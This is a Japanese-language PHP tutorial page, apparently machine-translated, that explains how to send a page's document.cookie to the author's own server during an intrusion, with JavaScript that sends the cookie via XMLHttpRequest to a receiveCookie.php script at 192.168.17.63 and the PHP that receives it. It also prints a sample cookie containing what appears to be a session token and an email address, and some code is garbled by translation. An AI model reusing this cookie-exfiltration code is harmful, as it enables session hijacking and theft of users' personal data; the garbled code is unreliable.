ホームページ >バックエンド開発 >PHPチュートリアル >Phpで特殊文字を含むパラメータを送信する方法
侵入プロセス中に、JSコードをWebページに挿入してcookie: document.cookie
を転送する方法私たち自身のサーバーについてはどうですか? ここでは、
AJAXテクノロジーを使用しています。ただし、Ajaxにはクロスドメインの問題があるため、httpヘッダーに設定する必要があります。ここでは主にcookieの送信について話します。 まず
JS コードの一部を見てみましょう: xmlhttp.open("GET","http://192.168.17.63/HelloPhp/receiveCookie.php?cookie="+
)document. cookie,true);ここでは、Web ページから取得した
cookie が receiveCookie.php に送信されます。ここで、cookie の一部は次のようになります。 ULV =1450275143055:1:1:1:182.138.174.191_1450275139.121259:;SGUID=1450275146558_35957829; vjuids=-37098b091.151ab2 28f90.0.920dc7c7;vjlast =1450275148;SUP=cv%3D1%26bt%3D1450275168% 26et%3D1450361568%26d %3D40c3%26i%3D2611%26us%3D1%26vf%3D0%26vt%3D0%26ac%3D2%26st%3D0%26lt%3D1%26uid%3D2277147785%26user%3D49335411 5%2540qq.com%26ag% 3D4%2 6名前%3D493354115 %2540qq.com%26ニック%3D%25E7%25BB%25BF%25E8%258C%25B66888%26セックス%3D1%26ps%3D0%26メール%3D%26dob%3D%26ln%3D493354115%25 40qq.com %26os%3D%26fmp %3D%26lcp%3D;SUBP=0033WrSXqPxfM725Ws9jqgMF55529P9D9W5o5Vidv35CH47We9hTzl.1; ALF=1481811169;
送信プロセス中に特殊文字
「%」、「&」などが検出された場合、それらは自動的に解析され、パラメータ送信エラーが発生します。 解決策は次のとおりです:
var cookie = document.cookie;
cookie =escape(encodeURIComponent(cookie));
xmlhttp.open("GET","http://192.168 . 17.63/HelloPhp/receiveCookie.php?cookie="+cookie,true);
receiveCookie.phpで受け取ります: $cookie = $_GET["cookie" ];
$cookie = (urldecode($cookie));
上記は、PHP で特殊文字を含むパラメータを送信する方法を、関連する内容も含めて紹介しました。PHP チュートリアルに興味のある友人の役に立てば幸いです。